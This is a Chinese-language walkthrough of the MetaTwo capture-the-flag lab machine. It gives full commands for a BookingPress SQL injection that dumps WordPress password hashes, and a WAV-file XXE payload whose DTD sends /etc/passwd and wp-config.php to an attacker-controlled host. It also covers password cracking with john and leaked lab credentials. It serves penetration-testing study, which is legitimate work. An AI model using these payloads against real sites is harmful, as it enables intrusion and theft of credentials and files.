题目网址:
/machines/MetaTwo
枚举
使用nmap枚举靶机
nmap -sC -sV -p- 10.10.11.186
扫到了域名,我们本地dns解析一下
echo "10.10.11.186 metapress.htb" >> /etc/hosts
然后就是老三样,枚举网站根目录,子域名枚举,网站框架枚举
首先枚举网站根目录
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -t 100 -mc 200,302,301 -u http://metapress.htb/FUZZ
只扫到了网站的后台和一大堆没什么用的东西,然后枚举子域名,并没有找到什么有用的东西
然后就是网站的框架枚举,我们要用到Wappalyzer这个模块
下载地址:
/en-US/firefox/addon/wappalyzer/?utm_source=&utm_medium=referral&utm_content=search
安装好后去到网站页面,打开任务栏里的Wappalyzer模块
可以看到很多有用的信息,还可以用nuclei这个工具
apt install nucleinuclei -u http://metapress.htb/
也能扫描到很多信息,现在我们知道这个网站的框架是WordPress,版本是5.6.2,我用searchsploitsearchsploit搜索了一下此版本的漏洞,需要登录后台才能用一个XXE的漏洞,既然是WordPress框架的,那就要用wpscan枚举一下
wpscan --url http://metapress.htb -e p,u --plugins-detection aggressive
找到了robots文件
CVE漏洞
然后我一个一个点,发现只是网站的存在的根目录而已,然后我又在每个目录页面查看源代码看看有没有什么突破点,结果找到了一个
在这个页面发现了booking press框架,版本为1.0.10,通过搜索发现,这个框架版本有sql注入的漏洞
/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
该插件在通过 bookingpress_front_get_category_services AJAX 操作用于动态构造的 SQL 查询之前无法正确清理用户提供的 POST 数据(可用于未经身份验证的用户),导致未经身份验证的 SQL 注入
然后根据这个网站的payload来测试
首先根据上面说的,我们要在刚刚的源代码页面搜索action:
_wpnonce:'31bef7a194'
然后用以下payload测试
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
泄露了数据库名,数据库版本,系统信息等其他的东西,现在就是常规的sql注入测试了
curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=31bef7a194&category_id=33&total_service=-7502) UNION ALL SELECT group_concat(user_login),group_concat(user_pass),@@version_compile_os,1,2,3,4,5,6 from wp_users-- -'
获取了网站用户密码的hash值,现在爆破一下
admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.manager $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
john -w=/usr/share/wordlists/rockyou.txt hash
只爆破出了一个密码,我尝试登录ftp和ssh发现都不行,只能登录网站后台
通过前面对wordpress 5.6.2版本的漏洞搜索,发现了一个XXE的漏洞
/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/
安全公司 SonarSource 的研究人员在 WordPress 媒体库中发现了一个 XML 外部实体注入 (XXE) 安全漏洞。仅当此 CMS 在 PHP 8 中运行 并且 攻击用户具有上传媒体文件的权限时,才能利用该漏洞
获取用户shell
利用过程参考这篇github
/motikan/CVE--29447
下载这些文件
根据文章操作
make up-wpphp -S 0.0.0.0:8001
然后修改此文件的ip地址
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.9:8001/dedsec.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
然后创建一个dedsec.dtd文件,里面是我们的恶意代码
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.9:8001/?p=%file;'>" >
然后上传我们刚刚创建的payload.wav文件
http://metapress.htb/wp-admin/upload.php
得到了一串base64编码,我们解密看看
得到了靶机的/etc/passwd文件内容,现在我们获取一下网站配置,看看有没有有用的东西
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php"><!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.9:8001/?p=%file;'>" >
继续上传payload文件
继续解密,将此base64编码解密后的内容:
<?php/** The name of the database for WordPress */define( 'DB_NAME', 'blog' );/** MySQL database username */define( 'DB_USER', 'blog' );/** MySQL database password */define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );/** MySQL hostname */define( 'DB_HOST', 'localhost' );/** Database Charset to use in creating database tables. */define( 'DB_CHARSET', 'utf8mb4' );/** The Database Collate type. Don't change this if in doubt. */define( 'DB_COLLATE', '' );define( 'FS_METHOD', 'ftpext' );define( 'FTP_USER', 'metapress.htb' );define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );define( 'FTP_HOST', 'ftp.metapress.htb' );define( 'FTP_BASE', 'blog/' );define( 'FTP_SSL', false );/**#@+* Authentication Unique Keys and Salts.* @since 2.6.0*/define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );/*** WordPress Database Table prefix.*/$table_prefix = 'wp_';/*** For developers: WordPress debugging mode.* @link /support/article/debugging-in-wordpress/*/define( 'WP_DEBUG', false );/** Absolute path to the WordPress directory. */if ( ! defined( 'ABSPATH' ) ) {define( 'ABSPATH', __DIR__ . '/' );}/** Sets up WordPress vars and included files. */require_once ABSPATH . 'wp-settings.php';
我们找到了ftp用户的账号和密码
用户名:metapress.htb密码:9NYS_ii@FyL_p5M2NvJ
然后我们登录ftp看看
ftp 10.10.11.186
在mailer文件夹下,找到了一个有用的php文件,将他下载到本地
get send_email.php
<?php/** This script will be used to send an email to all our users when ready for launch*/use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\SMTP;use PHPMailer\PHPMailer\Exception;require 'PHPMailer/src/Exception.php';require 'PHPMailer/src/PHPMailer.php';require 'PHPMailer/src/SMTP.php';$mail = new PHPMailer(true);$mail->SMTPDebug = 3; $mail->isSMTP(); $mail->Host = "mail.metapress.htb";$mail->SMTPAuth = true;$mail->Username = "jnelson@metapress.htb"; $mail->Password = "Cb4_JmWM8zUZWMu@Ys"; $mail->SMTPSecure = "tls"; $mail->Port = 587;$mail->From = "jnelson@metapress.htb";$mail->FromName = "James Nelson";$mail->addAddress("info@metapress.htb");$mail->isHTML(true);$mail->Subject = "Startup";$mail->Body = "<i>We just started our new blog metapress.htb!</i>";try {$mail->send();echo "Message has been sent successfully";} catch (Exception $e) {echo "Mailer Error: " . $mail->ErrorInfo;}
找到了用户名和密码
用户名:jnelson密码:Cb4_JmWM8zUZWMu@Ys
然后尝试登录ssh
ssh jnelson@10.10.11.186
成功获得用户权限
破解私钥提权
登录之后,我查看了当前文件夹下的所有文件,发现了passpie程序的文件夹,这个程序是用来管理密码的
进去找了一下,发现了一个pgp私钥文件,我们先将.keys文件下载到本地,其实kali本地创建一个文件,然后复制粘贴也可以
scp jnelson@10.10.11.186:.passpie/.keys .keys
这个.keys里有两个密钥,一个公钥,一个私钥,我把公钥删了,不然等一下工具用不了,然后把文件改个名
先用gpg2john将key文件转换为john可爆破的格式,然后用john爆破
gpg2john key > hashjohn -w=/usr/share/wordlists/rockyou.txt hash
passpie密码为:blink182
爆破出密码后回到靶机,查看passpie里存放的密码,输入密码得到root密码
passpie listpasspie export pass